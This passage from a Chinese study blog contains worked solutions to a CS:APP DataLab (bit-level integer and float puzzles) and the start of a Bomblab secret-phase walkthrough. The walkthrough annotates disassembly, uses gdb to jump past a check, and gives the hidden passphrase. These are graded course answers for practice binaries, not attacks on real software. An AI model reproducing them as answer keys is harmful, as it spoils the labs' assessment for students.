31); return (mul + ((sign \u0026amp; bias))) \u0026gt;\u0026gt; 2; // return (mul\u0026lt;0 ? mul+3 : mul) \u0026gt;\u0026gt; 2; } 这里涉及到舍入的知识点：\n不管是有符号还是无符号，右移操作得到的值都是向下舍入的。 然而，正常我们定义的整数除法是向零舍入的。 因此，对于正数，向下舍入与向零舍入是一致的；而对于负数，我们需要加上一个偏置，来实现向上舍入，也就是完成了向零舍入。而偏置bias = 除数 - 1，这里就是3。 这里要求严格复制C表达式的结果，那我们就不考虑溢出不溢出，直接先乘后除。乘3就是乘2加1；除以4就是右移2位。通过符号位来判断是否需要加上偏置。\nisLess # /* * isLess - if x \u0026lt; y then return 1, else return 0 * Example: isLess(4,5) = 1. * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 24 * Rating: 3 */ int isLess(int x, int y) { // x\u0026lt;y - x-y\u0026lt;0 - x+~y+1\u0026lt;0 // x正y负 必为0； x负y正 必为1；即符号不同答案就是x的符号位 int sx = (x \u0026gt;\u0026gt; 31); int sy = (y \u0026gt;\u0026gt; 31); int diff = sx ^ sy; int flag = diff; int ans = x + (~y+1); return ((~flag \u0026amp; (ans \u0026gt;\u0026gt; 31)) | (flag \u0026amp; sx)) \u0026amp; 1; } 和上面的oneMoreThan很相似，也是通过相减的方式判断。首先也是取符号位，一正一负是最好判断的；如果同号，计算差值，看看结果的符号位是正还是负即可。\n这里sx和sy都要么是32位全1，要么是32位全0的，因此不需要再对diff取反加一得到flag了，diff本身就是我们想要的flag。\nsatMul2 # /* * satMul2 - multiplies by 2, saturating to Tmin or Tmax if overflow * Examples: satMul2(0x30000000) = 0x60000000 * satMul2(0x40000000) = 0x7FFFFFFF (saturate to TMax) * satMul2(0x90000000) = 0x80000000 (saturate to TMin) * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 20 * Rating: 3 */ int satMul2(int x) { // 当符号位发生变化时，发生溢出 int tmin = 1 \u0026lt;\u0026lt; 31; int tmax = ~tmin; int x2 = x + x; int sx0 = x \u0026gt;\u0026gt; 31; // int sx = sx0 \u0026amp; 1; int sx2 = x2 \u0026gt;\u0026gt; 31; int diff = sx0 ^ sx2; int flag = diff; int sat_val = (sx0 \u0026amp; tmin) | (~sx0 \u0026amp; tmax); return (~flag \u0026amp; x2) | (flag \u0026amp; sat_val); } 这里涉及到溢出检测的知识点：\n检测补码加法和减法是否溢出:\n对于减法，如果x和y的符号位不同，且x-y的符号位也与x不同，说明发生了溢出。 也就是 (sx ^ sy)\u0026amp;(sx ^ (sd)) == 1, 其中sd = (x - y) \u0026raquo; 31\n对于加法，如果x和y的符号位相同，且x+y的符号位与x不同，说明发生了溢出。 也就是 (~(sx ^ sy))\u0026amp;(sx ^ (sd)) == 1\n这道题乘2就是x+x，首先肯定是同号，那只需要看看相加的结果的符号位是不是变了，如果变了就是溢出了。而溢出到tmax还是tmin则取决于x的符号位。\nmodThree # /* * modThree - calculate x mod 3 without using %. * Example: modThree(12) = 0, * modThree(2147483647) = 1, * modThree(-8) = -2, * Legal ops: ~ ! | ^ \u0026amp; \u0026lt;\u0026lt; \u0026gt;\u0026gt; + * Max ops: 60 * Rating: 4 */ int modThree(int x) { int is_3, should_eq_0, flag_for_tmin, flag_for_zero, reverse, for_zero, for_tmin; int sign = x \u0026gt;\u0026gt; 31; int y = (sign \u0026amp; (~x+1)) | (~sign \u0026amp; x); int tmin = 1 \u0026lt;\u0026lt; 31; int is_tmin = !(x ^ tmin); int ans_minus3 = ~3+1; int ans_minus2 = ans_minus3 + 1; // if (x == (1\u0026lt;\u0026lt;31)) return -2; int mask = ~(tmin \u0026gt;\u0026gt; 15); // 0xffff y = (y \u0026gt;\u0026gt; 16) + (y \u0026amp; mask); y = (y \u0026gt;\u0026gt; 16) + (y \u0026amp; mask); y = (y \u0026gt;\u0026gt; 8) + (y \u0026amp; 0xff); y = (y \u0026gt;\u0026gt; 8) + (y \u0026amp; 0xff); y = (y \u0026gt;\u0026gt; 4) + (y \u0026amp; 0xf); y = (y \u0026gt;\u0026gt; 4) + (y \u0026amp; 0xf); y = (y \u0026gt;\u0026gt; 2) + (y \u0026amp; 0x3); y = (y \u0026gt;\u0026gt; 2) + (y \u0026amp; 0x3); is_3 = !(y ^ 3); should_eq_0 = is_3; // if (y==3 || y==-3) y=0; flag_for_tmin = ~is_tmin + 1; flag_for_zero = ~should_eq_0 + 1; reverse = (sign \u0026amp; (~y + 1)) | (~sign \u0026amp; y); for_zero = ((~flag_for_zero \u0026amp; reverse)); for_tmin = (flag_for_tmin \u0026amp; ans_minus2) | (~flag_for_tmin \u0026amp; for_zero); return for_tmin; } 图中最后一句话应该是压缩到小于等于3的范围。这描述的是代码中对于y的操作。首先y是x的绝对值。如果x是tmin，直接返回其结果-2，因为tmin的相反数是它本身，因此这里产生一个is_tmin的标签；接着对y进行上述操作不断压缩，得到在两位二进制数字的结果（每次折叠都操作两次是把进位消除掉）。如果压缩后的值是3，那么结果应该是0，这里产生一个is_3的标签；\n最后总结答案，利用上述两个标签产生两个flag，对应分类讨论的结果。首先要对正负性讨论加上y的符号，得到reverse；然后对答案是不是0进行讨论，当是0的时候应该是(flag_for_zero \u0026amp; 0)，可以省去，得到for_zero；最后对答案是不是-2进行讨论，得到for_tmin。最终结果就是for_tmin。\n个人觉得这个函数是整个lab最最最难想和实现的函数了。我用了五十多个操作符，但是看到别的大佬有只用三十多个就完成的\u0026hellip;\nfloat_half # /* * float_half - Return bit-level equivalent of expression 0.5*f for * floating point argument f. * Both the argument and result are passed as unsigned int\u0026#39;s, but * they are to be interpreted as the bit-level representation of * single-precision floating point values. * When argument is NaN, return argument * Legal ops: Any integer/unsigned operations incl. ||, \u0026amp;\u0026amp;. also if, while * Max ops: 30 * Rating: 4 */ unsigned float_half(unsigned uf) { int sign = uf \u0026amp; (1 \u0026lt;\u0026lt; 31); int exp = (uf \u0026gt;\u0026gt; 23) \u0026amp; 0xff; int frac = uf \u0026amp; (0x7fffff); if (exp == 0xff) return uf; if (exp == 0) { frac = (frac \u0026gt;\u0026gt; 1) + ((frac \u0026amp; 3) == 3); return sign | frac; } if (exp == 1) { frac = ((frac \u0026gt;\u0026gt; 1) | (1 \u0026lt;\u0026lt; 22)) + ((frac \u0026amp; 3) == 3); return sign | frac; } return sign | (exp - 1) \u0026lt;\u0026lt; 23 | frac; // ******* 另外一种思路 ******* // if (exp \u0026lt;= 1) { // // 把exp=1的情况归纳到非规格，直接向右移位，把隐含的1移到尾数中，相当于除以2，而指数部分是不变的 // // 涉及到舍入的问题，向偶数，如果最后两位是11需要向上舍入，如果是01需要向下舍入 // if ((frac \u0026amp; 3) == 3) { // uf = (no_sign \u0026gt;\u0026gt; 1) + 1; // } else { // uf = (no_sign \u0026gt;\u0026gt; 1); // } // return uf | sign; // } // exp--; // return sign | (exp \u0026lt;\u0026lt; 23) | frac; } 这里涉及到向偶数舍入的知识点：\nIEEE浮点标准中，向偶数舍入是默认的方式。舍入的结果是使得最低有效数字是偶数。 比如1.4舍入为1，而1.5和2.5舍入为2。 对于二进制数字，仍然考虑舍入之后的最低位的偶数性。对于形如$XXX.YYYY100$的数字，当最后一个Y为将要舍入的位时，这种舍入方式才生效。当这个Y是0时，采用向下，把1抹去；当这个Y是1时，采用向上，使得Y变为0进位。 浮点数除以2，显然，当exp在2到254之间时直接减一；exp=0的时候，直接对尾数部分右移一位，并向偶数舍入即可；exp=255的时候，本就是inf，因此返回本身uf；exp=1的时候，减一后exp变为0，此时指数部分编码规则改变，E = 1 - Bias，虽然改变了但是E的值却不变。我们将尾数部分右移一位，同时把之前隐藏的1补上来，也就是(frac \u0026gt;\u0026gt; 1) | (1 \u0026lt;\u0026lt; 22)，这样的效果其实就是：原来是1.xxxxx，现在变成了0.1xxxxx，也就是整体右移了，除以了2。\n在另一种思路中，将exp=1纳入到非规格中，采用上述思想直接右移并考虑向偶数舍入。\n这里舍入判断的就是低两位是不是0b11，如果是就要进位。\nfloat_i2f # /* * float_i2f - Return bit-level equivalent of expression (float) x * Result is returned as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point values. * Legal ops: Any integer/unsigned operations incl. ||, \u0026amp;\u0026amp;. also if, while * Max ops: 30 * Rating: 4 */ unsigned float_i2f(int x) { // 特殊判断，如果x=0、tmin直接返回，因为找不到除了符号位之外的1 int tmin = 1 \u0026lt;\u0026lt; 31; int sign, first1 = 0, frac, frac_mask, exp, out, idx; if (x == 0) { return 0; } if (x == tmin) { return (0xcf \u0026lt;\u0026lt; 24); } sign = tmin \u0026amp; x; /* * // 把符号位置为0，然后从左往右找到一个1的位置 ERROR!!! * // x \u0026amp;= ~tmin; ERROR!!! * 这里应该是x取相反数，不是简单的修改符号位 */ if (sign \u0026gt;\u0026gt; 31) { x = -x; } for (idx = 31; idx \u0026gt;= 0; idx--) { if ((x \u0026gt;\u0026gt; idx) \u0026amp; 1) { first1 = idx; break; } } // 现在已有的是2^(first1)，bias=127，则可以求E exp = 127 + first1; /* * 接下来需要得到尾数 * * 这里考虑的方式是，把frac的23位直接放到低23位上，这是最终目标； * 方法是，首先把找到的first1左移到最高位，隐含的1在最高位，然后再右移8位，此时1在第24位（1-based）； * 那么就可以用掩码0x7fffff取出低23位。 * 但是考虑到如果原来的frac长于23位，会涉及到进位的问题， * 那就把x要右移出去的8位提取出来，如果大于0x80，或者恰好是0x80且已经取出来的23位的frac的最低位是1，都需要向偶数舍入； * 这里舍入可能进位，导致frac的第24位变成1，如果这样，重新用掩码取出来frac，并把exp加1； * (事实上，这里只有当frac的23位全为1时才会进位导致24位变为1) * 原因是相当于frac又右移了一位，除以2，需要exp+1来弥补 */ x \u0026lt;\u0026lt;= (31 - first1); frac_mask = 0x7fffff; frac = (x \u0026gt;\u0026gt; 8) \u0026amp; frac_mask; out = x \u0026amp; 0xff; if (out \u0026gt; 0x80 || (out == 0x80 \u0026amp;\u0026amp; frac \u0026amp; 1)) { frac += 1; } if (frac \u0026gt;\u0026gt; 23) { frac = frac \u0026amp; frac_mask; exp++; } return sign | (exp \u0026lt;\u0026lt; 23) | frac; } 解析都在代码注释中，也涉及到向偶数舍入。\n关于注释中：\n这里舍入可能进位，导致frac的第24位变成1，如果这样，重新用掩码取出来frac，并把exp加1； (事实上，这里只有当frac的23位全为1时才会进位导致24位变为1) 原因是相当于frac又右移了一位，除以2，需要exp+1来弥补 这里不太好理解。为什么相当于frac又右移了一位？\n因为如果进位导致24位是1，说明frac先前是全1，此时用IEEE表示法中的M就是1.11111111111111111111111，前置一个隐藏的1。然后发生进位，M变为10.00000000000000000000000。然而我们是不能支持这样表示的，这个M已经是2了，我们只能表示[1,2)之间的尾数。那怎么办？我们把这个2乘到阶码里面就ok了，也就是让E加了1，M除以了2，也就是M又右移了一位变成23位的全0，此时隐含的1也恰好到了第24位。\n也就是说这里面所解释的“相当于frac右移了一位”是针对frac的23位全为1的特殊情况恰好满足的。\nfloat64_f2i # /* * float64_f2i - Return bit-level equivalent of expression (int) f * for 64 bit floating point argument f. * Argument is passed as two unsigned int, but * it is to be interpreted as the bit-level representation of a * double-precision floating point value. * Notice: uf1 contains the lower part of the f64 f * Anything out of range (including NaN and infinity) should return * 0x80000000u. * Legal ops: Any integer/unsigned operations incl. ||, \u0026amp;\u0026amp;. also if, while * Max ops: 20 * Rating: 4 */ int float64_f2i(unsigned uf1, unsigned uf2) { // 1 11 52 int tmin = 1 \u0026lt;\u0026lt; 31; int sign = uf2 \u0026gt;\u0026gt; 31; int exp_mask = 0x7ff; int exp = (uf2 \u0026gt;\u0026gt; 20) \u0026amp; exp_mask; int E = exp - 1023; int deltaE = 31 - E; int frac = ((uf2 \u0026amp; 0xfffff) \u0026lt;\u0026lt; 11/*留了最高位给隐含的1*/) | ((uf1 \u0026gt;\u0026gt; 21) \u0026amp; 0x7ff) | tmin; if (E \u0026lt; 0) return 0; if (E \u0026gt;= 31) return tmin; frac = frac \u0026gt;\u0026gt; (deltaE/*右移31补偿，再左移E做乘法*/) \u0026amp; ~(tmin \u0026gt;\u0026gt; deltaE \u0026lt;\u0026lt; 1/*高位右移的1去掉*/); if (sign) frac = -frac; return frac; } 上面写成一个deltaE的变量其实是为了缩减操作符数，否则过不了检测。。。这样导致代码可读性很低其实。\n第一步取符号位，第二步取指数部分，真正的用于计算值的E=exp-1023（因为64位的偏置是1023，$ 2^{k-1}-1 $）。\n第三步取尾数部分，注意尾数中必然是含有隐藏的1的，这是因为如果没有，说明指数部分为0，那么转为int之后结果只剩0了。因此我们的尾数要留出最高位给1，剩下的31位分别从uf2和uf1中取。这里可以认为，我们把原先1.xxxx变成了1放在第32位上，也就是左移了31位，因此后续我们要右移31位来弥补；此外，结果需要乘2^E，也就是左移E位，整体也就是右移了(31 - E)位；同时右移会有高位的1产生，要给消除掉。\nCaution 这里最后的部分frac直接右移，没有考虑舍入问题。在浮点数的运算中，我们常常采取向偶数舍入的方式；而在浮点数转为整数的过程中，常常直接截断。这是因为我们想要向零舍入。\n强制类型转换中的舍入：\nint -\u0026gt; float: 数字不会溢出，但是有可能被向偶数舍入。 int/float -\u0026gt; double: 能保留精准的数值。 double -\u0026gt; float: 可能会溢出；也可能被向偶数舍入。 float/double -\u0026gt; int: 值会向零舍入。 float_pwr2 # /* * float_pwr2 - Return bit-level equivalent of the expression 2.0^x * (2.0 raised to the power x) for any 32-bit integer x. * * The unsigned value that is returned should have the identical bit * representation as the single-precision floating-point number 2.0^x. * If the result is too small to be represented as a denorm, return * 0. If too large, return +INF. * * Legal ops: Any integer/unsigned operations incl. ||, \u0026amp;\u0026amp;. Also if, while * Max ops: 30 * Rating: 4 */ unsigned float_pwr2(int x) { /* * 单精度， * 最小非规格：2^-23 * 2^(1-127) = 2^-149 * 最大非规格：（1-e）* 2^(1-127) = 2^-126 * 也即只要x\u0026lt;-149，就是0；-149\u0026lt;=x\u0026lt;-126，就是非规格，直接左移x-149位 * * 最小规格：(1+2^-23) * 2^(1-127) = 2^-126+2^-149 * 最大规格：(2-e) * 2^(254-127) = (2-e) * 2^127 * 只要x\u0026gt;=128，就是inf，0x7f800000 * 我们本身就知道规格化的指数部分的范围，-126 ~ 127 * * */ if (x \u0026lt; -149) { return 0; } else if (x \u0026gt;= -149 \u0026amp;\u0026amp; x \u0026lt;= -127) { return (1 \u0026lt;\u0026lt; (x + 149)); } else if (-126 \u0026lt;= x \u0026amp;\u0026amp; x \u0026lt;= 127) { return (x + 127) \u0026lt;\u0026lt; 23; } else // if (x \u0026gt;= 128) { return 0x7f800000; } } 考察的是非规格和规格化数字的形式和范围，在知乎中看到一个很清晰的阐述：\n实际分四种情况：\n情况一，都是0： \u0026hellip;\u0026hellip;\n2^-150的二进制表示为0|00000000|00000000000000000000000\n情况二，阶码0: 2^-149的二进制表示为0|00000000|00000000000000000000001\n2^-148的二进制表示为0|00000000|00000000000000000000010\n2^-147的二进制表示为0|00000000|00000000000000000000100\n\u0026hellip;\u0026hellip;\n2^-129的二进制表示为0|00000000|00100000000000000000000\n2^-128的二进制表示为0|00000000|01000000000000000000000\n2^-127的二进制表示为0|00000000|10000000000000000000000\n情况三，阶码非0： 2^-126的二进制表示为0|00000001|00000000000000000000000\n2^-125的二进制表示为0|00000010|00000000000000000000000\n2^-124的二进制表示为0|00000011|00000000000000000000000\n\u0026hellip;\u0026hellip;\n2^0 的二进制表示为0|01111111|00000000000000000000000\n2^1 的二进制表示为0|10000000|00000000000000000000000\n\u0026hellip;\u0026hellip;\n2^127 的二进制表示为0|11111110|00000000000000000000000\n情况四，无穷大： 2^128 的二进制表示为0|11111111|00000000000000000000000\n2^129 的二进制表示为0|11111111|00000000000000000000000\n此外，我们也知道规格化数字的E的值的范围是-126到127，可以直接作为该函数的一个if分支使用。至于分支内部考虑清楚再写就不会出错，可以举一些例子待入。\n","externalUrl":null,"permalink":"/ics/01-datalab/","section":"ICS","summary":"位运算与浮点数","title":"01-DataLab","type":"ics"},{"content":" PKU 2025 Bomblab Secret_phase解析\u0026ndash;FSM自动机和同步检测 # 本人刚拿到lab因为操作不当（脑残）没设置断点直接爆了一次，大家务必不要学我，一定要在gdb运行之前给explode_bomb设置断点，或者参考https://arthals.ink/ 这位学长的博客安全化\n这是在完成六个阶段之后的隐藏阶段，个人觉得很巧妙。今年的隐藏阶段不是原版的二叉树路径求和，而是FSM自动状态机，需要自行找到状态转移对应的表。本文仅给出隐藏阶段的进入方式和破解方法。\n此外，进入隐藏阶段需要看懂两个魔法函数，不过为了得分可以直接强行用gbd跳到隐藏阶段的函数中，避开正面进入函数的过程。\n进入方式 # 在main函数中，在完成六个阶段、执行phase_defused之后，就结束程序了。进一步查看phase_defused的汇编代码，发现里面是存在call 1c01 \u0026lt;secret_phase\u0026gt;的函数调用的（在2305处）。也就是说，如果想进入隐藏阶段需要在这个函数中满足某些条件。下面是phase_defused的汇编代码，我会对其进行逐段地分析（分析在汇编下方），其中有四处进入隐藏阶段之前的判定：（注意：以下gdb的输出均是在phase6中或完成phase6函数后的输出）\n0000000000002265 \u0026lt;phase_defused\u0026gt;: 2265:\tf3 0f 1e fa endbr64 2269:\t53 push %rbx # PART 1 226a:\t48 89 fb mov %rdi,%rbx 226d:\tc7 07 00 00 00 00 movl $0x0,(%rdi) 2273:\t48 89 fe mov %rdi,%rsi 2276:\tbf 01 00 00 00 mov $0x1,%edi 227b:\te8 7a fc ff ff call 1efa \u0026lt;send_msg\u0026gt; 2280:\t83 3b 01 cmpl $0x1,(%rbx) ## 判定(1) 2283:\t75 0b jne 2290 \u0026lt;phase_defused+0x2b\u0026gt; 2285:\t83 3d 8c 62 00 00 06 cmpl $0x6,0x628c(%rip) ## 判定(2) # 8518 \u0026lt;num_input_strings\u0026gt; 228c:\t74 22 je 22b0 \u0026lt;phase_defused+0x4b\u0026gt; 228e:\t5b pop %rbx 228f:\tc3 ret 2290:\t48 8d 35 39 21 00 00 lea 0x2139(%rip),%rsi # 43d0 \u0026lt;transition_table+0xd0\u0026gt; 2297:\tbf 01 00 00 00 mov $0x1,%edi 229c:\tb8 00 00 00 00 mov $0x0,%eax 22a1:\te8 ba f0 ff ff call 1360 \u0026lt;__printf_chk@plt\u0026gt; 22a6:\tbf 08 00 00 00 mov $0x8,%edi 22ab:\te8 e0 f0 ff ff call 1390 \u0026lt;exit@plt\u0026gt; 22b0:\te8 af f3 ff ff call 1664 \u0026lt;abracadabra\u0026gt; 22b5:\t85 c0 test %eax,%eax 22b7:\t75 1a jne 22d3 \u0026lt;phase_defused+0x6e\u0026gt; ## 判定(3) 22b9:\t48 8d 3d 70 22 00 00 lea 0x2270(%rip),%rdi # 4530 \u0026lt;transition_table+0x230\u0026gt; 22c0:\te8 ab ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 22c5:\t48 8d 3d ac 22 00 00 lea 0x22ac(%rip),%rdi # 4578 \u0026lt;transition_table+0x278\u0026gt; 22cc:\te8 9f ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 22d1:\teb bb jmp 228e \u0026lt;phase_defused+0x29\u0026gt; 22d3:\te8 19 f4 ff ff call 16f1 \u0026lt;alohomora\u0026gt; 22d8:\t85 c0 test %eax,%eax 22da:\t74 30 je 230c \u0026lt;phase_defused+0xa7\u0026gt; ## 判定(4) 22dc:\t48 8d 3d 5d 21 00 00 lea 0x215d(%rip),%rdi # 4440 \u0026lt;transition_table+0x140\u0026gt; 22e3:\te8 88 ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 22e8:\t48 8d 3d 79 21 00 00 lea 0x2179(%rip),%rdi # 4468 \u0026lt;transition_table+0x168\u0026gt; 22ef:\te8 7c ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 22f4:\t48 8d 3d a5 21 00 00 lea 0x21a5(%rip),%rdi # 44a0 \u0026lt;transition_table+0x1a0\u0026gt; 22fb:\te8 70 ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 2300:\tb8 00 00 00 00 mov $0x0,%eax 2305:\te8 f7 f8 ff ff call 1c01 \u0026lt;secret_phase\u0026gt; 230a:\teb ad jmp 22b9 \u0026lt;phase_defused+0x54\u0026gt; 230c:\t48 8d 3d dd 21 00 00 lea 0x21dd(%rip),%rdi # 44f0 \u0026lt;transition_table+0x1f0\u0026gt; 2313:\te8 58 ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 2318:\t48 8d 3d 81 21 00 00 lea 0x2181(%rip),%rdi # 44a0 \u0026lt;transition_table+0x1a0\u0026gt; 231f:\te8 4c ef ff ff call 1270 \u0026lt;puts@plt\u0026gt; 2324:\teb 93 jmp 22b9 \u0026lt;phase_defused+0x54\u0026gt; 判定(1) # 首先第一段中：\n226a:\t48 89 fb mov %rdi,%rbx 226d:\tc7 07 00 00 00 00 movl $0x0,(%rdi) 2273:\t48 89 fe mov %rdi,%rsi 2276:\tbf 01 00 00 00 mov $0x1,%edi 227b:\te8 7a fc ff ff call 1efa \u0026lt;send_msg\u0026gt; 2280:\t83 3b 01 cmpl $0x1,(%rbx) 2283:\t75 0b jne 2290 \u0026lt;phase_defused+0x2b\u0026gt; 将rdi的值存给rbx，这时二者保存的地址是一样的，这个地址指向的是同一个内存。接着将rdi地址所指向的内存的值设置为0x0，也就是把rbx地址所指向的内存的值设置为了0x0。之后把rdi赋值给rsi、把rdi的值设置为1，这些都不重要。然后调用send_msg函数。接着进行了第一次判定：rbx地址所指向的内存的值 与 0x1 的判断。\n我们发现，在226d那一行，代码已经明确将(%rdi)的值设置为了0，而%rbx和%rdi所保存的地址是一样的，则(%rbx)在2280那一行判断的时候必然是0而不是1，也就是说正常的逻辑来看，这里必然会接着2283那一行的跳转，跳转到2290开始继续运行。然后将在22ab那一行完成exit函数的退出。这样将会与2305行的隐藏函数调用失之交臂。\n这里的解决办法是：直接跳过2276那一行的赋值。在gdb中查看该行的地址，并在phase6完成后，跳转到main函数中并且即将进入phase_defused函数之前，在gdb中输入:\n(gdb) jump *0x55555555626d 即可跳过该处的判定。（这里发现只能选择跳过这一个语句，跳过其他指令好像无法正常继续运行）\n判定(2) # 接着我们没有进入2290而是继续进行2285，这里有判定(2):0x628c(%rip) 和 0x6 的相等关系，如果相等就跳转到22b0，进入后续的判定中；如果不相等就直接return了。这里我们需要查看0x628c(%rip)处的值是多少，由于直接使用x $rip+0x628c是不对的，我们需要查看这里注释中给出的num_input_strings的地址，具体操作如下：\n(gdb) info address num_input_strings Symbol \u0026#34;num_input_strings\u0026#34; is at 0x55555555c518 in a file compiled without debugging. (gdb)p/d *0x55555555c518 $1 = 6 注意，这里是在phase6中执行的，打印结果是6；如果在之前的比如phase1中打印，值会是1。结合num_input_strings这个名称也可以猜出，这里是想判断目前到达了第几个阶段，如果此时到达的阶段数是6，就可以判定成功；否则不行。所以此处判定只需要完成六个阶段的题目即可。\n判定(3) # 在上述跳转下，我们来到22b0，调用了第一个魔法函数：abracadabra。其返回值eax的判定中，如果eax的值不是0，就继续跳转到第二个魔法函数处；否则就跳回刚才return的地方。我们查看源码：\n0000000000001664 \u0026lt;abracadabra\u0026gt;: 1664:\tf3 0f 1e fa endbr64 1668:\t48 81 ec 98 00 00 00 sub $0x98,%rsp 166f:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax 1676:\t00 00 1678:\t48 89 84 24 88 00 00 mov %rax,0x88(%rsp) 167f:\t00 1680:\t31 c0 xor %eax,%eax 1682:\t48 8d 4c 24 0c lea 0xc(%rsp),%rcx 1687:\t48 8d 54 24 08 lea 0x8(%rsp),%rdx 168c:\t4c 8d 44 24 10 lea 0x10(%rsp),%r8 1691:\t48 8d 35 c3 2a 00 00 lea 0x2ac3(%rip),%rsi # 415b \u0026lt;_IO_stdin_used+0x15b\u0026gt; 8000 1698:\t48 8d 3d e9 6f 00 00 lea 0x6fe9(%rip),%rdi # 8688 \u0026lt;input_strings+0x168\u0026gt; c520 169f:\te8 9c fc ff ff call 1340 \u0026lt;__isoc99_sscanf@plt\u0026gt; 16a4:\t83 f8 03 cmp $0x3,%eax 16a7:\t74 20 je 16c9 \u0026lt;abracadabra+0x65\u0026gt; 16a9:\tb8 00 00 00 00 mov $0x0,%eax 16ae:\t48 8b 94 24 88 00 00 mov 0x88(%rsp),%rdx 16b5:\t00 16b6:\t64 48 2b 14 25 28 00 sub %fs:0x28,%rdx 16bd:\t00 00 16bf:\t75 2b jne 16ec \u0026lt;abracadabra+0x88\u0026gt; 16c1:\t48 81 c4 98 00 00 00 add $0x98,%rsp 16c8:\tc3 ret 16c9:\t48 8d 7c 24 10 lea 0x10(%rsp),%rdi 16ce:\t48 8d 35 9b 2a 00 00 lea 0x2a9b(%rip),%rsi # 4170 \u0026lt;_IO_stdin_used+0x170\u0026gt; 16d5:\te8 6d 06 00 00 call 1d47 \u0026lt;strings_not_equal\u0026gt; 16da:\t85 c0 test %eax,%eax 16dc:\t74 07 je 16e5 \u0026lt;abracadabra+0x81\u0026gt; 16de:\tb8 00 00 00 00 mov $0x0,%eax 16e3:\teb c9 jmp 16ae \u0026lt;abracadabra+0x4a\u0026gt; 16e5:\tb8 01 00 00 00 mov $0x1,%eax 16ea:\teb c2 jmp 16ae \u0026lt;abracadabra+0x4a\u0026gt; 16ec:\te8 af fb ff ff call 12a0 \u0026lt;__stack_chk_fail@plt\u0026gt; 这个函数有两处重点：\n在1682-16a7之间，调用了sscanf函数获取输入，rdi是输入的字符串，rsi是获取输入的格式，将结果保存在rdx、rcx、r8这三个寄存器中；在16a4中也对输入的参数个数进行检测，如果恰好是3个才行。我们这里对rdi和rsi的字符串进行查看： 我们发现要读入的俩整数和一个字符串，而且发现这俩整数恰好就是我们在phase4中输入的俩数字。这暗示我们似乎要在phase4的那一行答案中多输入一个字符串，方便在此处读取同时也不会影响phase4的运行（因为phase4读取的是\u0026quot;%d %d\u0026quot;）。\n接着跳转到16c9，这里将刚刚读取的第三个参数的字符串（保存在r8中，也就是rsp+0x10的位置）地址存入rdi中，将从某位置读取的目标字符串存到rsi中，然后调用strings_not_equal函数得到eax，只有相等时返回值是1，才能继续运行而不中断程序。那我们继续查看rsi到底是什么东西： 好的，这样我们就得到了匹配的目标字符串是：...VeniVidiViciTwoThousandYearsAgo?。我们把它加到phase4的那一行末尾中作为第三个参数。\n判定(4) # 我们来到22d3这第二个魔法函数：alohomora，同样，判定条件也是返回值不能为0。查看其汇编：\n00000000000016f1 \u0026lt;alohomora\u0026gt;: 16f1:\tf3 0f 1e fa endbr64 16f5:\t48 81 ec 88 00 00 00 sub $0x88,%rsp 16fc:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax 1703:\t00 00 1705:\t48 89 44 24 78 mov %rax,0x78(%rsp) 170a:\t31 c0 xor %eax,%eax 170c:\t48 8d 05 85 6e 00 00 lea 0x6e85(%rip),%rax # 8598 \u0026lt;input_strings+0x78\u0026gt; 1713:\teb 04 jmp 1719 \u0026lt;alohomora+0x28\u0026gt; 1715:\t48 83 c0 01 add $0x1,%rax 1719:\t80 38 00 cmpb $0x0,(%rax) 171c:\t75 f7 jne 1715 \u0026lt;alohomora+0x24\u0026gt; 171e:\t48 83 e8 01 sub $0x1,%rax 1722:\t48 89 e2 mov %rsp,%rdx 1725:\teb 0a jmp 1731 \u0026lt;alohomora+0x40\u0026gt; 1727:\t88 0a mov %cl,(%rdx) 1729:\t48 83 c2 01 add $0x1,%rdx 172d:\t48 83 e8 01 sub $0x1,%rax 1731:\t0f b6 08 movzbl (%rax),%ecx 1734:\t80 f9 20 cmp $0x20,%cl 1737:\t74 0c je 1745 \u0026lt;alohomora+0x54\u0026gt; 1739:\t48 8d 35 58 6e 00 00 lea 0x6e58(%rip),%rsi # 8598 \u0026lt;input_strings+0x78\u0026gt; 1740:\t48 39 f0 cmp %rsi,%rax 1743:\t75 e2 jne 1727 \u0026lt;alohomora+0x36\u0026gt; 1745:\tc6 02 00 movb $0x0,(%rdx) 1748:\t48 89 e7 mov %rsp,%rdi 174b:\t48 8d 35 46 2a 00 00 lea 0x2a46(%rip),%rsi # 4198 \u0026lt;_IO_stdin_used+0x198\u0026gt; 1752:\te8 f0 05 00 00 call 1d47 \u0026lt;strings_not_equal\u0026gt; 1757:\t85 c0 test %eax,%eax 1759:\t74 1d je 1778 \u0026lt;alohomora+0x87\u0026gt; 175b:\tb8 00 00 00 00 mov $0x0,%eax 1760:\t48 8b 54 24 78 mov 0x78(%rsp),%rdx 1765:\t64 48 2b 14 25 28 00 sub %fs:0x28,%rdx 176c:\t00 00 176e:\t75 0f jne 177f \u0026lt;alohomora+0x8e\u0026gt; 1770:\t48 81 c4 88 00 00 00 add $0x88,%rsp 1777:\tc3 ret 1778:\tb8 01 00 00 00 mov $0x1,%eax 177d:\teb e1 jmp 1760 \u0026lt;alohomora+0x6f\u0026gt; 177f:\te8 1c fb ff ff call 12a0 \u0026lt;__stack_chk_fail@plt\u0026gt; 首先在170c行读取了8598处的字符串到rax中。我们查看此处的字符是什么：\n这里恰好是phase2的六个数字，可能和上一个函数类似，暗示我们要在这个阶段的答案中增加某些东西。这里是rax是我们phase2这一行字符串的头字符的位置。\n找到字符串结尾 170c-171e 170c:\t48 8d 05 85 6e 00 00 lea 0x6e85(%rip),%rax # 8598 \u0026lt;input_strings+0x78\u0026gt; 1713:\teb 04 jmp 1719 \u0026lt;alohomora+0x28\u0026gt; 1715:\t48 83 c0 01 add $0x1,%rax 1719:\t80 38 00 cmpb $0x0,(%rax) 171c:\t75 f7 jne 1715 \u0026lt;alohomora+0x24\u0026gt; 171e:\t48 83 e8 01 sub $0x1,%rax 